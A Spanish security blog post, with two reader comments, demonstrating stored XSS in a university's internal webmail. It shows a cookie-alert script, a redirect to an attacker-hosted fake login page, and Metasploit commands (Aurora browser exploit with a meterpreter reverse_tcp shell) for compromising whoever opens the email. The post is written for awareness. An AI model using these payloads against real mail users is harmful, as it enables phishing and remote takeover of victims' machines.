Esta semana en Flu Project nos ha gustado mucho el artículo Los Peligros de un XSS, escrito por aetsu al que también podéis leer en La leyenda de Tux.
Los peligros de un XSS Un Ejemplo Universitario.
Hay muchas ocasiones en las que por el
bien de los usuarios se les ofrecen funcionalidades sin llegar a caer en
la cuenta de que estas pueden acabar siendo un peligro para ellos.
Ha sido cuando leyendo este genial post de @Kodeinfect llamado Combinando ataques: XSS + Metasploit me ha venido a la cabeza escribir una entrada sobre una “curiosidad” que encontré recientemente en el correo interno de la universidad, el cual permite incrustar fragmentos de texto en html y javascript, he aquí el peligro.
Esto da al usuario la oportunidad de aplicar cierto formato al texto mediante html o javascript, pero tambien da a un atacante malintencionado la posibilidad de realizarataques mediante XSS, siendo la víctima el receptor del correo electrónico.
Vamos a ver tres ejemplos prácticos de ataques que podría llegar a realizar una “mala persona” o alguien aburrido:
El primero de estos es el robo de cookies, para ello basta con componer un mensaje y añadir el código javascript para que muestre la cookie, en este caso se utilizará un “alert” por comodidad:
Las únicas peculiaridades han sido habilitar la opción Toggle HTML Source y añadir el siguiente fragmento de código al cuerpo del mensaje:
<script language=”javascript” type=”text/javascript”>
alert(document.cookie);
</script>
Lo mas interesante de esto es que la victima no verá el código javascript ejecutado en el cuerpo del mensaje a no ser que escoja responder al mensaje y marque la opcion Toggle HTML Source.Otra opción interesante es redirigir a la victima a una ventana de login como si el usuario hubiera perdido la conexión por
un fallo del servidor, pero con la peculiaridad que esta está en un
servidor bajo nuestro control, para ello basta un pequeño fragmento de
codigo incrustado en el mensaje:
<script language=”javascript” type=”text/javascript”>
document.location=”direccion de nuestro servidor”;
</script>
Por último es posible hacer algo mucho mas peligroso como lanzar exploits en la máquina del inocente receptor, para ello Metasploit como en otras ocasiones será un gran aliado.
Se utiliza como exploit ms10_002_aurora y como payload una shell inversa:
Se utiliza como exploit ms10_002_aurora y como payload una shell inversa:
use exploit/windows/browser/ms10_002_auroraA continuación hay que configurar el el puerto y la ip a la que se ejecutara el exploit:
set payload windows/meterpreter/reverse_tcp
set SRVPORT 80Y por último lanzarlo:
set LHOST 192.168.1.40
exploitUna vez este listo Metasploit el contenido del correo es el siguiente:
<script language=”javascript” type=”text/javascript”>
document.location=”direccion de nuestro servidor”;
</script>
donde la información que acompaña a document.location nos la proporciona metasploit al iniciar el servidor.
ya solo queda esperar a que la víctima lea el correo para que Metasploit haga la magia:
La situación en la que el receptor abre el correo y es ejecutado de
forma transparente en su navegador un código javascript es muy
peligroso, mas que nada si el receptor no tiene conocimientos
informáticos o si este es un profesor y lo que el robo de sus datos
implicaría. Además el hecho de poder añadir al cuerpo del mensaje
cualquier texto permite realizar ataques de ingeniería social muy
peligrosos, ya que el receptor seguramente no prestará atención al
código javascript embebido puesto que este no se le mostrará.Como
aclaración respecto al contenido del post, informaré sobre esta
“vulnerabilidad” cuando el post sea publicado, aunque no la considero
así, ya que si el editor de mensajes aporta la la opción de añadir
fragmentos de html/javascript, considero esto más como una funcionalidad
extra que puede usarse “mal” que como una vulnerabilidad propiamente
dicha.
En fin, nos leemos en breve
Muy bien explicado para que lo entienda cualquier usuario como yo que aunque no me considere un experto en estos temas me encanta seguiros y descubrir estas faltas de seguridad. Mejor imposible, enhorabuena. Por cierto el jabalí es una carne dura de comer sino está bien cocinada, durante horas y horas hay que trabajarla para disfrutar de un buen plato como todos disfrutamos de vuestros post. Con esto os digo, el trabajo bien cocinado se digiere mejor y se nota que sois grandes cocineros de la seguridad. Abrazos.
ResponderEliminarJjajaja muchas gracias por vuestras palabras, pero no es pa tanto, un saludo amigos XD
Eliminar